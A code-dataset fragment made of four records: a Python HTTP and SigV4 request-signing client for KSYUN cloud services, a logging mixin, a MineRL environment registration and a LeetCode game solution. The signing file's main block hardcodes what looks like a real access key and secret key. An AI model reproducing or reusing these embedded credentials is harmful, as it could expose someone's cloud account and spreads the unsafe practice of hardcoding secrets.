(b'\\r\\n', b'\\n', b''):\n break\n\n def _send_request(self, method, url, body, headers, *py36_up_extra):\n self._response_received = False\n if headers.get('Expect', b'') == b'100-continue':\n self._expect_header_set = True\n else:\n self._expect_header_set = False\n self.response_class = self._original_response_cls\n rval = HTTPConnection._send_request(\n self, method, url, body, headers, *py36_up_extra)\n self._expect_header_set = False\n return rval\n\n def _convert_to_bytes(self, mixed_buffer):\n # Take a list of mixed str/bytes and convert it\n # all into a single bytestring.\n # Any six.text_types will be encoded as utf-8.\n bytes_buffer = []\n for chunk in mixed_buffer:\n if isinstance(chunk, six.text_type):\n bytes_buffer.append(chunk.encode('utf-8'))\n else:\n bytes_buffer.append(chunk)\n msg = b\"\\r\\n\".join(bytes_buffer)\n return msg\n\n def _send_output(self, message_body=None, **py36_up_extra):\n self._buffer.extend((b\"\", b\"\"))\n msg = self._convert_to_bytes(self._buffer)\n del self._buffer[:]\n # If msg and message_body are sent in a single send() call,\n # it will avoid performance problems caused by the interaction\n # between delayed ack and the Nagle algorithm.\n if isinstance(message_body, bytes):\n msg += message_body\n message_body = None\n self.send(msg)\n if self._expect_header_set:\n # This is our custom behavior. If the Expect header was\n # set, it will trigger this custom behavior.\n logger.debug(\"Waiting for 100 Continue response.\")\n # Wait for 1 second for the server to send a response.\n read, write, exc = select.select([self.sock], [], [self.sock], 1)\n if read:\n self._handle_expect_response(message_body)\n return\n else:\n # From the RFC:\n # Because of the presence of older implementations, the\n # protocol allows ambiguous situations in which a client may\n # send \"Expect: 100-continue\" without receiving either a 417\n # (Expectation Failed) status or a 100 (Continue) status.\n # Therefore, when a client sends this header field to an origin\n # server (possibly via a proxy) from which it has never seen a\n # 100 (Continue) status, the client SHOULD NOT wait for an\n # indefinite period before sending the request body.\n logger.debug(\"No response seen from server, continuing to \"\n \"send the response body.\")\n if message_body is not None:\n # message_body was not a string (i.e. it is a file), and\n # we must run the risk of Nagle.\n self.send(message_body)\n\n def _consume_headers(self, fp):\n # Most servers (including S3) will just return\n # the CLRF after the 100 continue response. However,\n # some servers (I've specifically seen this for squid when\n # used as a straight HTTP proxy) will also inject a\n # Connection: keep-alive header. To account for this\n # we'll read until we read '\\r\\n', and ignore any headers\n # that come immediately after the 100 continue response.\n current = None\n while current != b'\\r\\n':\n current = fp.readline()\n\n def _handle_expect_response(self, message_body):\n # This is called when we sent the request headers containing\n # an Expect: 100-continue header and received a response.\n # We now need to figure out what to do.\n fp = self.sock.makefile('rb', 0)\n try:\n maybe_status_line = fp.readline()\n parts = maybe_status_line.split(None, 2)\n if self._is_100_continue_status(maybe_status_line):\n self._consume_headers(fp)\n logger.debug(\"100 Continue response seen, \"\n \"now sending request body.\")\n self._send_message_body(message_body)\n elif len(parts) == 3 and parts[0].startswith(b'HTTP/'):\n # From the RFC:\n # Requirements for HTTP/1.1 origin servers:\n #\n # - Upon receiving a request which includes an Expect\n # request-header field with the \"100-continue\"\n # expectation, an origin server MUST either respond with\n # 100 (Continue) status and continue to read from the\n # input stream, or respond with a final status code.\n #\n # So if we don't get a 100 Continue response, then\n # whatever the server has sent back is the final response\n # and don't send the message_body.\n logger.debug(\"Received a non 100 Continue response \"\n \"from the server, NOT sending request body.\")\n status_tuple = (parts[0].decode('ascii'),\n int(parts[1]), parts[2].decode('ascii'))\n response_class = functools.partial(\n KSHTTPResponse, status_tuple=status_tuple)\n self.response_class = response_class\n self._response_received = True\n finally:\n fp.close()\n\n def _send_message_body(self, message_body):\n if message_body is not None:\n self.send(message_body)\n\n def send(self, str):\n if self._response_received:\n logger.debug(\"send() called, but reseponse already received. \"\n \"Not sending data.\")\n return\n return HTTPConnection.send(self, str)\n\n def _is_100_continue_status(self, maybe_status_line):\n parts = maybe_status_line.split(None, 2)\n # Check for HTTP/ 100 Continue\\r\\n\n return (\n len(parts) >= 3 and parts[0].startswith(b'HTTP/') and\n parts[1] == b'100')\n\n\nclass KSHTTPSConnection(VerifiedHTTPSConnection):\n pass\n\n\n# Now we need to set the methods we overrode from KSHTTPConnection\n# onto KSHTTPSConnection. This is just a shortcut to avoid\n# copy/pasting the same code into KSHTTPSConnection.\nfor name, function in KSHTTPConnection.__dict__.items():\n if inspect.isfunction(function):\n setattr(KSHTTPSConnection, name, function)\n\n\ndef prepare_request_dict(request_dict, endpoint_url, user_agent=None):\n \"\"\"\n This method prepares a request dict to be created into an\n KSRequestObject. This prepares the request dict by adding the\n url and the user agent to the request dict.\n\n :type request_dict: dict\n :param request_dict: The request dict (created from the\n ``serialize`` module).\n\n :type user_agent: string\n :param user_agent: The user agent to use for this request.\n\n :type endpoint_url: string\n :param endpoint_url: The full endpoint url, which contains at least\n the scheme, the hostname, and optionally any path components.\n \"\"\"\n r = request_dict\n if user_agent is not None:\n headers = r['headers']\n headers['User-Agent'] = user_agent\n url = _urljoin(endpoint_url, r['url_path'])\n if r['query_string']:\n encoded_query_string = percent_encode_sequence(r['query_string'])\n if '?' not in url:\n url += '?%s' % encoded_query_string\n else:\n url += '&%s' % encoded_query_string\n r['url'] = url\n\n\ndef create_request_object(request_dict):\n \"\"\"\n This method takes a request dict and creates an KSRequest object\n from it.\n\n :type request_dict: dict\n :param request_dict: The request dict (created from the\n ``prepare_request_dict`` method).\n\n :rtype: ``kscore.ksrequest.KSRequest``\n :return: An KSRequest object based on the request_dict.\n\n \"\"\"\n r = request_dict\n return KSRequest(method=r['method'], url=r['url'],\n data=r['body'],\n headers=r['headers'])\n\n\ndef _urljoin(endpoint_url, url_path):\n p = urlsplit(endpoint_url)\n # - \n # scheme - p[0]\n # netloc - p[1]\n # path - p[2]\n # query - p[3]\n # fragment - p[4]\n if not url_path or url_path == '/':\n # If there's no path component, ensure the URL ends with\n # a '/' for backwards compatibility.\n if not p[2]:\n return endpoint_url + '/'\n return endpoint_url\n if p[2].endswith('/') and url_path.startswith('/'):\n new_path = p[2][:-1] + url_path\n else:\n new_path = p[2] + url_path\n reconstructed = urlunsplit((p[0], p[1], new_path, p[3], p[4]))\n return reconstructed\n\n\nclass KSRequest(models.RequestEncodingMixin, models.Request):\n def __init__(self, *args, **kwargs):\n self.auth_path = None\n if 'auth_path' in kwargs:\n self.auth_path = kwargs['auth_path']\n del kwargs['auth_path']\n models.Request.__init__(self, *args, **kwargs)\n headers = HTTPHeaders()\n if self.headers is not None:\n for key, value in self.headers.items():\n headers[key] = value\n self.headers = headers\n # This is a dictionary to hold information that is used when\n # processing the request. What is inside of ``context`` is open-ended.\n # For example, it may have a timestamp key that is used for holding\n # what the timestamp is when signing the request. Note that none\n # of the information that is inside of ``context`` is directly\n # sent over the wire; the information is only used to assist in\n # creating what is sent over the wire.\n self.context = {}\n\n def prepare(self):\n \"\"\"Constructs a :class:`KSPreparedRequest `.\"\"\"\n # Eventually I think it would be nice to add hooks into this process.\n p = KSPreparedRequest(self)\n p.prepare_method(self.method)\n p.prepare_url(self.url, self.params)\n p.prepare_headers(self.headers)\n p.prepare_cookies(self.cookies)\n p.prepare_body(self.data, self.files)\n p.prepare_auth(self.auth)\n return p\n\n @property\n def body(self):\n p = models.PreparedRequest()\n p.prepare_headers({})\n p.prepare_body(self.data, self.files)\n if isinstance(p.body, six.text_type):\n p.body = p.body.encode('utf-8')\n return p.body\n\n\nclass KSPreparedRequest(models.PreparedRequest):\n \"\"\"Represents a prepared request.\n\n :ivar method: HTTP Method\n :ivar url: The full url\n :ivar headers: The HTTP headers to send.\n :ivar body: The HTTP body.\n :ivar hooks: The set of callback hooks.\n\n In addition to the above attributes, the following attributes are\n available:\n\n :ivar query_params: The original query parameters.\n :ivar post_param: The original POST params (dict).\n\n \"\"\"\n def __init__(self, original_request):\n self.original = original_request\n super(KSPreparedRequest, self).__init__()\n self.hooks.setdefault('response', []).append(\n self.reset_stream_on_redirect)\n\n def reset_stream_on_redirect(self, response, **kwargs):\n if response.status_code in REDIRECT_STATI and \\\n self._looks_like_file(self.body):\n logger.debug(\"Redirect received, rewinding stream: %s\", self.body)\n self.reset_stream()\n\n def _looks_like_file(self, body):\n return hasattr(body, 'read') and hasattr(body, 'seek')\n\n def reset_stream(self):\n # Trying to reset a stream when there is a no stream will\n # just immediately return. It's not an error, it will produce\n # the same result as if we had actually reset the stream (we'll send\n # the entire body contents again if we need to).\n # Same case if the body is a string/bytes type.\n if self.body is None or isinstance(self.body, six.text_type) or \\\n isinstance(self.body, six.binary_type):\n return\n try:\n logger.debug(\"Rewinding stream: %s\", self.body)\n self.body.seek(0)\n except Exception as e:\n logger.debug(\"Unable to rewind stream: %s\", e)\n raise UnseekableStreamError(stream_object=self.body)\n\n def prepare_body(self, data, files, json=None):\n \"\"\"Prepares the given HTTP body data.\"\"\"\n super(KSPreparedRequest, self).prepare_body(data, files, json)\n\n # Calculate the Content-Length by trying to seek the file as\n # requests cannot determine content length for some seekable file-like\n # objects.\n if 'Content-Length' not in self.headers:\n if hasattr(data, 'seek') and hasattr(data, 'tell'):\n orig_pos = data.tell()\n data.seek(0, 2)\n end_file_pos = data.tell()\n self.headers['Content-Length'] = str(end_file_pos - orig_pos)\n data.seek(orig_pos)\n # If the Content-Length was added this way, a\n # Transfer-Encoding was added by requests because it did\n # not add a Content-Length header. However, the\n # Transfer-Encoding header is not supported for\n # KSYUN Services so remove it if it is added.\n if 'Transfer-Encoding' in self.headers:\n self.headers.pop('Transfer-Encoding')\n\nHTTPSConnectionPool.ConnectionCls = KSHTTPSConnection\nHTTPConnectionPool.ConnectionCls = KSHTTPConnection\n\n\nlogger = logging.getLogger(__name__)\n\n\nEMPTY_SHA256_HASH = (\n 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855')\n# This is the buffer size used when calculating sha256 checksums.\n# Experimenting with various buffer sizes showed that this value generally\n# gave the best result (in terms of performance).\nPAYLOAD_BUFFER = 1024 * 1024\nISO8601 = '%Y-%m-%dT%H:%M:%SZ'\nSIGV4_TIMESTAMP = '%Y%m%dT%H%M%SZ'\nSIGNED_HEADERS_BLACKLIST = [\n 'expect',\n 'user-agent'\n]\n\n\nclass BaseSigner(object):\n REQUIRES_REGION = False\n\n def add_auth(self, request):\n raise NotImplementedError(\"add_auth\")\n\n\nReadOnlyCredentials = namedtuple('ReadOnlyCredentials',\n ['access_key', 'secret_key', 'token'])\n\n\nclass Credentials(object):\n \"\"\"\n Holds the credentials needed to authenticate requests.\n\n :ivar access_key: The access key part of the credentials.\n :ivar secret_key: The secret key part of the credentials.\n :ivar token: The security token, valid only for session credentials.\n :ivar method: A string which identifies where the credentials\n were found.\n \"\"\"\n\n def __init__(self, access_key, secret_key, token=None,\n method=None):\n self.access_key = access_key\n self.secret_key = secret_key\n self.token = token\n\n if method is None:\n method = 'explicit'\n self.method = method\n\n self._normalize()\n\n def _normalize(self):\n # Keys would sometimes (accidentally) contain non-ascii characters.\n # It would cause a confusing UnicodeDecodeError in Python 2.\n # We explicitly convert them into unicode to avoid such error.\n #\n # Eventually the service will decide whether to accept the credential.\n # This also complies with the behavior in Python 3.\n\n self.access_key = self.access_key\n self.secret_key = self.secret_key\n\n def get_frozen_credentials(self):\n return ReadOnlyCredentials(self.access_key,\n self.secret_key,\n self.token)\n\n\nclass SigV4Auth(BaseSigner):\n \"\"\"\n Sign a request with Signature V4.\n \"\"\"\n REQUIRES_REGION = True\n\n def __init__(self, credentials, service_name, region_name):\n self.credentials = credentials\n # We initialize these value here so the unit tests can have\n # valid values. But these will get overriden in ``add_auth``\n # later for real requests.\n self._region_name = region_name\n self._service_name = service_name\n\n def _sign(self, key, msg, hex=False):\n if hex:\n sig = hmac.new(key, msg.encode('utf-8'), sha256).hexdigest()\n else:\n sig = hmac.new(key, msg.encode('utf-8'), sha256).digest()\n return sig\n\n def headers_to_sign(self, request):\n \"\"\"\n Select the headers from the request that need to be included\n in the StringToSign.\n \"\"\"\n header_map = HTTPHeaders()\n split = urlsplit(request.url)\n for name, value in request.headers.items():\n lname = name.lower()\n if lname not in SIGNED_HEADERS_BLACKLIST:\n header_map[lname] = value\n if 'host' not in header_map:\n header_map['host'] = split.netloc\n return header_map\n\n def canonical_query_string(self, request):\n # The query string can come from two parts. One is the\n # params attribute of the request. The other is from the request\n # url (in which case we have to re-split the url into its components\n # and parse out the query string component).\n if request.params:\n return self._canonical_query_string_params(request.params)\n else:\n return self._canonical_query_string_url(urlsplit(request.url))\n\n def _canonical_query_string_params(self, params):\n l = []\n for param in sorted(params):\n value = str(params[param])\n l.append('%s=%s' % (quote(param, safe='-_.~'),\n quote(value, safe='-_.~')))\n cqs = '&'.join(l)\n return cqs\n\n def _canonical_query_string_url(self, parts):\n canonical_query_string = ''\n if parts.query:\n # [(key, value), (key2, value2)]\n key_val_pairs = []\n for pair in parts.query.split('&'):\n key, _, value = pair.partition('=')\n key_val_pairs.append((key, value))\n sorted_key_vals = []\n # Sort by the key names, and in the case of\n # repeated keys, then sort by the value.\n for key, value in sorted(key_val_pairs):\n sorted_key_vals.append('%s=%s' % (key, value))\n canonical_query_string = '&'.join(sorted_key_vals)\n return canonical_query_string\n\n def canonical_headers(self, headers_to_sign):\n \"\"\"\n Return the headers that need to be included in the StringToSign\n in their canonical form by converting all header keys to lower\n case, sorting them in alphabetical order and then joining\n them into a string, separated by newlines.\n \"\"\"\n headers = []\n sorted_header_names = sorted(set(headers_to_sign))\n for key in sorted_header_names:\n value = ','.join(v.strip() for v in\n sorted(headers_to_sign.get_all(key)))\n headers.append('%s:%s' % (key, value))\n return '\\n'.join(headers)\n\n def signed_headers(self, headers_to_sign):\n l = ['%s' % n.lower().strip() for n in set(headers_to_sign)]\n l = sorted(l)\n return ';'.join(l)\n\n def payload(self, request):\n if request.body and hasattr(request.body, 'seek'):\n position = request.body.tell()\n read_chunksize = functools.partial(request.body.read,\n PAYLOAD_BUFFER)\n checksum = sha256()\n for chunk in iter(read_chunksize, b''):\n checksum.update(chunk)\n hex_checksum = checksum.hexdigest()\n request.body.seek(position)\n return hex_checksum\n elif request.body:\n # The request serialization has ensured that\n # request.body is a bytes() type.\n return sha256(request.body).hexdigest()\n else:\n return EMPTY_SHA256_HASH\n\n def canonical_request(self, request):\n cr = [request.method.upper()]\n path = self._normalize_url_path(urlsplit(request.url).path)\n cr.append(path)\n cr.append(self.canonical_query_string(request))\n headers_to_sign = self.headers_to_sign(request)\n cr.append(self.canonical_headers(headers_to_sign) + '\\n')\n cr.append(self.signed_headers(headers_to_sign))\n if 'X-Amz-Content-SHA256' in request.headers:\n body_checksum = request.headers['X-Amz-Content-SHA256']\n else:\n body_checksum = self.payload(request)\n cr.append(body_checksum)\n return '\\n'.join(cr)\n\n def _normalize_url_path(self, path):\n normalized_path = quote(normalize_url_path(path), safe='/~')\n return normalized_path\n\n def scope(self, request):\n scope = [self.credentials.access_key]\n scope.append(request.context['timestamp'][0:8])\n scope.append(self._region_name)\n scope.append(self._service_name)\n scope.append('aws4_request')\n return '/'.join(scope)\n\n def credential_scope(self, request):\n scope = []\n scope.append(request.context['timestamp'][0:8])\n scope.append(self._region_name)\n scope.append(self._service_name)\n scope.append('aws4_request')\n return '/'.join(scope)\n\n def string_to_sign(self, request, canonical_request):\n \"\"\"\n Return the canonical StringToSign as well as a dict\n containing the original version of all headers that\n were included in the StringToSign.\n \"\"\"\n sts = ['AWS4-HMAC-SHA256']\n sts.append(request.context['timestamp'])\n sts.append(self.credential_scope(request))\n sts.append(sha256(canonical_request.encode('utf-8')).hexdigest())\n return '\\n'.join(sts)\n\n def signature(self, string_to_sign, request):\n key = self.credentials.secret_key\n k_date = self._sign(('AWS4' + key).encode('utf-8'),\n request.context['timestamp'][0:8])\n k_region = self._sign(k_date, self._region_name)\n k_service = self._sign(k_region, self._service_name)\n k_signing = self._sign(k_service, 'aws4_request')\n return self._sign(k_signing, string_to_sign, hex=True)\n\n def add_auth(self, request):\n if self.credentials is None:\n raise NoCredentialsError\n datetime_now = datetime.datetime.utcnow()\n request.context['timestamp'] = datetime_now.strftime(SIGV4_TIMESTAMP)\n # This could be a retry. Make sure the previous\n # authorization header is removed first.\n self._modify_request_before_signing(request)\n canonical_request = self.canonical_request(request)\n logger.debug(\"Calculating signature using v4 auth.\")\n logger.debug('CanonicalRequest:\\n%s', canonical_request)\n string_to_sign = self.string_to_sign(request, canonical_request)\n logger.debug('StringToSign:\\n%s', string_to_sign)\n signature = self.signature(string_to_sign, request)\n logger.debug('Signature:\\n%s', signature)\n\n self._inject_signature_to_request(request, signature)\n\n def _inject_signature_to_request(self, request, signature):\n l = ['AWS4-HMAC-SHA256 Credential=%s' % self.scope(request)]\n headers_to_sign = self.headers_to_sign(request)\n l.append('SignedHeaders=%s' % self.signed_headers(headers_to_sign))\n l.append('Signature=%s' % signature)\n request.headers['Authorization'] = ', '.join(l)\n return request\n\n def _modify_request_before_signing(self, request):\n if 'Authorization' in request.headers:\n del request.headers['Authorization']\n self._set_necessary_date_headers(request)\n if self.credentials.token:\n if 'X-Amz-Security-Token' in request.headers:\n del request.headers['X-Amz-Security-Token']\n request.headers['X-Amz-Security-Token'] = self.credentials.token\n\n def _set_necessary_date_headers(self, request):\n # The spec allows for either the Date _or_ the X-Amz-Date value to be\n # used so we check both. If there's a Date header, we use the date\n # header. Otherwise we use the X-Amz-Date header.\n if 'Date' in request.headers:\n del request.headers['Date']\n datetime_timestamp = datetime.datetime.strptime(\n request.context['timestamp'], SIGV4_TIMESTAMP)\n request.headers['Date'] = formatdate(\n int(calendar.timegm(datetime_timestamp.timetuple())))\n if 'X-Amz-Date' in request.headers:\n del request.headers['X-Amz-Date']\n else:\n if 'X-Amz-Date' in request.headers:\n del request.headers['X-Amz-Date']\n request.headers['X-Amz-Date'] = request.context['timestamp']\n\n\nclass S3SigV4Auth(SigV4Auth):\n\n def _modify_request_before_signing(self, request):\n super(S3SigV4Auth, self)._modify_request_before_signing(request)\n if 'X-Amz-Content-SHA256' in request.headers:\n del request.headers['X-Amz-Content-SHA256']\n request.headers['X-Amz-Content-SHA256'] = self.payload(request)\n\n def _normalize_url_path(self, path):\n # For S3, we do not normalize the path.\n return path\n\n\nclass SigV4QueryAuth(SigV4Auth):\n DEFAULT_EXPIRES = 3600\n\n def __init__(self, credentials, service_name, region_name,\n expires=DEFAULT_EXPIRES):\n super(SigV4QueryAuth, self).__init__(credentials, service_name,\n region_name)\n self._expires = expires\n\n def _modify_request_before_signing(self, request):\n # Note that we're not including X-Amz-Signature.\n # From the docs: \"The Canonical Query String must include all the query\n # parameters from the preceding table except for X-Amz-Signature.\n signed_headers = self.signed_headers(self.headers_to_sign(request))\n auth_params = {\n 'X-Amz-Algorithm': 'AWS4-HMAC-SHA256',\n 'X-Amz-Credential': self.scope(request),\n 'X-Amz-Date': request.context['timestamp'],\n 'X-Amz-Expires': self._expires,\n 'X-Amz-SignedHeaders': signed_headers,\n }\n if self.credentials.token is not None:\n auth_params['X-Amz-Security-Token'] = self.credentials.token\n # Now parse the original query string to a dict, inject our new query\n # params, and serialize back to a query string.\n url_parts = urlsplit(request.url)\n # parse_qs makes each value a list, but in our case we know we won't\n # have repeated keys so we know we have single element lists which we\n # can convert back to scalar values.\n query_dict = dict(\n [(k, v[0]) for k, v in parse_qs(url_parts.query).items()])\n # The spec is particular about this. It *has* to be:\n # https://?&\n # You can't mix the two types of params together, i.e just keep doing\n # new_query_params.update(op_params)\n # new_query_params.update(auth_params)\n # percent_encode_sequence(new_query_params)\n operation_params = ''\n if request.data:\n # We also need to move the body params into the query string.\n # request.data will be populated, for example, with query services\n # which normally form encode the params into the body.\n # This means that request.data is a dict() of the operation params.\n query_dict.update(request.data)\n request.data = ''\n if query_dict:\n operation_params = percent_encode_sequence(query_dict) + '&'\n new_query_string = (operation_params +\n percent_encode_sequence(auth_params))\n # url_parts is a tuple (and therefore immutable) so we need to create\n # a new url_parts with the new query string.\n # - \n # scheme - 0\n # netloc - 1\n # path - 2\n # query - 3 <-- we're replacing this.\n # fragment - 4\n p = url_parts\n new_url_parts = (p[0], p[1], p[2], new_query_string, p[4])\n request.url = urlunsplit(new_url_parts)\n\n def _inject_signature_to_request(self, request, signature):\n # Rather than calculating an \"Authorization\" header, for the query\n # param quth, we just append an 'X-Amz-Signature' param to the end\n # of the query string.\n request.url += '&X-Amz-Signature=%s' % signature\n\n\nclass S3SigV4QueryAuth(SigV4QueryAuth):\n \"\"\"S3 SigV4 auth using query parameters.\n\n This signer will sign a request using query parameters and signature\n version 4, i.e a \"presigned url\" signer.\n\n\n \"\"\"\n def _normalize_url_path(self, path):\n # For S3, we do not normalize the path.\n return path\n\n def payload(self, request):\n # From the doc link above:\n # \"You don't include a payload hash in the Canonical Request, because\n # when you create a presigned URL, you don't know anything about the\n # payload. Instead, you use a constant string \"UNSIGNED-PAYLOAD\".\n return \"UNSIGNED-PAYLOAD\"\n\n\nclass S3SigV4PostAuth(SigV4Auth):\n \"\"\"\n Presigns a s3 post\n\n \"\"\"\n def add_auth(self, request):\n datetime_now = datetime.datetime.utcnow()\n request.context['timestamp'] = datetime_now.strftime(SIGV4_TIMESTAMP)\n\n fields = {}\n if request.context.get('s3-presign-post-fields', None) is not None:\n fields = request.context['s3-presign-post-fields']\n\n policy = {}\n conditions = []\n if request.context.get('s3-presign-post-policy', None) is not None:\n policy = request.context['s3-presign-post-policy']\n if policy.get('conditions', None) is not None:\n conditions = policy['conditions']\n\n policy['conditions'] = conditions\n\n fields['x-amz-algorithm'] = 'AWS4-HMAC-SHA256'\n fields['x-amz-credential'] = self.scope(request)\n fields['x-amz-date'] = request.context['timestamp']\n\n conditions.append({'x-amz-algorithm': 'AWS4-HMAC-SHA256'})\n conditions.append({'x-amz-credential': self.scope(request)})\n conditions.append({'x-amz-date': request.context['timestamp']})\n\n if self.credentials.token is not None:\n fields['x-amz-security-token'] = self.credentials.token\n conditions.append({'x-amz-security-token': self.credentials.token})\n\n # Dump the base64 encoded policy into the fields dictionary.\n fields['policy'] = base64.b64encode(\n json.dumps(policy).encode('utf-8')).decode('utf-8')\n\n fields['x-amz-signature'] = self.signature(fields['policy'], request)\n\n request.context['s3-presign-post-fields'] = fields\n request.context['s3-presign-post-policy'] = policy\n\n\nAUTH_TYPE_MAPS = {\n 'v4': SigV4Auth,\n 'v4-query': SigV4QueryAuth,\n 's3v4': S3SigV4Auth,\n 's3v4-query': S3SigV4QueryAuth,\n 's3v4-presign-post': S3SigV4PostAuth,\n\n}\n\n\n\nif __name__ == '__main__':\n access_key = \"AKLTJZEjW05lQEGx1Z_g07AazA\"\n secret_key = \"OAcfe1+lkHucQoaVMUbIhlaDK2D8QuFMv4jHiRRtgtNqYVaEOWLv3MaRZAlk565hRg==\"\n credentials = Credentials(access_key, secret_key)\n v4 = SigV4Auth(credentials,\"iam\", \"cn-beijing-6\")\n request_dict = {'context': '', 'url': 'http://10.100.50.90', 'headers': {}, 'method': 'GET', 'params': '', 'body': ''}\n request = create_request_object(request_dict)\n print(v4.add_auth(request))\n","sub_path":"Tools/AWSTEST.py","file_name":"AWSTEST.py","file_ext":"py","file_size_in_byte":37220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"486614595","text":"from __future__ import absolute_import\n\nimport logging\nimport threading\nfrom rainbow_logging_handler import RainbowLoggingHandler\nimport sys\nfrom docker_conduct.util import synchronized\n\n__author__ = 'nick'\n\n\nclass LevelRangeFilter(logging.Filter):\n\t\"\"\"Specify log level range to accept\"\"\"\n\tdef __init__(self, low, high):\n\t\tsuper(LevelRangeFilter, self).__init__()\n\n\t\tself.low = low\n\t\tself.high = high\n\n\tdef filter(self, record):\n\t\treturn self.low <= record.levelno <= self.high\n\n\n__CONFIGURED_LOGGERS = set()\n\n@synchronized\ndef configure_basic_logging(logger):\n\t\"\"\"\n\tIdempotent and thread-safe basic logging configuration for provided logger object\n\n\tReturns True if logger was configured, False if logger had been previously configured\n\t\"\"\"\n\tif logger not in __CONFIGURED_LOGGERS:\n\t\t__CONFIGURED_LOGGERS.add(logger)\n\n\t\tformatter = logging.Formatter('%(message)s')\n\n\t\tstdout_handler = RainbowLoggingHandler(stream=sys.stdout)\n\t\tstderr_handler = RainbowLoggingHandler(stream=sys.stderr)\n\n\t\tstdout_handler.setFormatter(formatter)\n\t\tstderr_handler.setFormatter(formatter)\n\n\t\tstdout_filter = LevelRangeFilter(logging.DEBUG, logging.INFO)\n\t\tstderr_filter = LevelRangeFilter(logging.WARNING, logging.CRITICAL)\n\n\t\tstdout_handler.addFilter(stdout_filter)\n\t\tstderr_handler.addFilter(stderr_filter)\n\n\t\tstdout_handler.setLevel(logging.DEBUG)\n\t\tstderr_handler.setLevel(logging.DEBUG)\n\n\t\tlogger.addHandler(stdout_handler)\n\t\tlogger.addHandler(stderr_handler)\n\n\t\treturn True\n\n\telse:\n\t\treturn False\n\n\nclass LoggingMixin(object):\n\t\"\"\"Mixin to provide a single preconfigured logger with sensible defaults on class instances\"\"\"\n\n\t__logger = None\n\n\tauto_configure_basic_logging = True\n\tlog_level = logging.DEBUG\n\n\t@property\n\tdef logger(self):\n\t\t\"\"\"Load, cache, and return a logger object. By default, also performs basic configuration on the logger\"\"\"\n\t\tif self.__logger is None:\n\t\t\tself.__logger = self.get_logger()\n\t\t\tself._configure_logging(self.__logger)\n\t\treturn self.__logger\n\n\t@classmethod\n\tdef _configure_logging(cls, logger):\n\t\t\"\"\"Hook to override logging configuration\"\"\"\n\t\tlogger.setLevel(cls.log_level)\n\n\t\tif cls.auto_configure_basic_logging:\n\t\t\tconfigure_basic_logging(logger)\n\n\tdef get_logger(self):\n\t\t\"\"\"Hook to override how the logger is instantiated\"\"\"\n\t\treturn logging.getLogger(self.__module__)\n","sub_path":"docker_conduct/logging.py","file_name":"logging.py","file_ext":"py","file_size_in_byte":2295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"42454460","text":"import os\n\nfrom gym.envs.registration import register\nfrom collections import OrderedDict\nfrom minerl.env import spaces\nfrom minerl.env.core import MineRLEnv\n\nimport numpy as np\nmissions_dir = os.path.dirname(__file__)\nnavigate_observation_space = spaces.Dict({\n 'pov': spaces.Box(low=0, high=255, shape=(64, 64, 3), dtype=np.uint8),\n 'inventory': spaces.Dict({\n 'dirt': spaces.Box(low=0, high=2304, shape=(), dtype=np.int)\n }),\n 'compassAngle': spaces.Box(low=-179.0, high=180.0, shape=(), dtype=np.float32)\n})\n\nnavigate_action_space = spaces.Dict({\n \"forward\": spaces.Discrete(2),\n \"back\": spaces.Discrete(2),\n \"left\": spaces.Discrete(2),\n \"right\": spaces.Discrete(2),\n \"jump\": spaces.Discrete(2),\n \"sneak\": spaces.Discrete(2),\n \"sprint\": spaces.Discrete(2),\n \"attack\": spaces.Discrete(2),\n \"camera\": spaces.Box(low=-180, high=180, shape=(2,), dtype=np.float32),\n \"place\": spaces.Enum('none', 'dirt')})\n\n\nregister(\n id='MineRLSimple-v0',\n entry_point='minerl.env:MineRLEnv',\n kwargs={\n 'xml': os.path.join(missions_dir, 'navigationDenseFixedMap.xml'),\n 'observation_space': navigate_observation_space,\n 'action_space': navigate_action_space,\n },\n max_episode_steps=600,\n)\n","sub_path":"SimpleEnvironment/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"560867020","text":"# -*- coding:utf-8 -*-\r\n# Author: washing\r\n# DateTime: 2022/1/1 10:29\r\n# File: 0913.py\r\n# Desc: \r\n\r\nDRAW = 0\r\nMOUSE_WIN = 1\r\nCAT_WIN = 2\r\n\r\nclass Solution:\r\n def catMouseGame(self, graph: List[List[int]]) -> int:\r\n n = len(graph)\r\n dp = [[[-1] * (n * 2) for _ in range(n)] for _ in range(n)]\r\n\r\n def getResult(mouse: int, cat: int, turns: int) -> int:\r\n if turns == n * 2:\r\n return DRAW\r\n res = dp[mouse][cat][turns]\r\n if res != -1:\r\n return res\r\n if mouse == 0:\r\n res = MOUSE_WIN\r\n elif cat == mouse:\r\n res = CAT_WIN\r\n else:\r\n res = getNextResult(mouse, cat, turns)\r\n dp[mouse][cat][turns] = res\r\n return res\r\n\r\n def getNextResult(mouse: int, cat: int, turns: int) -> int:\r\n curMove = mouse if turns % 2 == 0 else cat\r\n defaultRes = MOUSE_WIN if curMove != mouse else CAT_WIN\r\n res = defaultRes\r\n for next in graph[curMove]:\r\n if curMove == cat and next == 0:\r\n continue\r\n nextMouse = next if curMove == mouse else mouse\r\n nextCat = next if curMove == cat else cat\r\n nextRes = getResult(nextMouse, nextCat, turns + 1)\r\n if nextRes != defaultRes:\r\n res = nextRes\r\n if res != DRAW:\r\n break\r\n return res\r\n\r\n return getResult(1, 2, 0)\r\n\r\n","sub_path":"Solutions/0913/0913.py","file_name":"0913.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
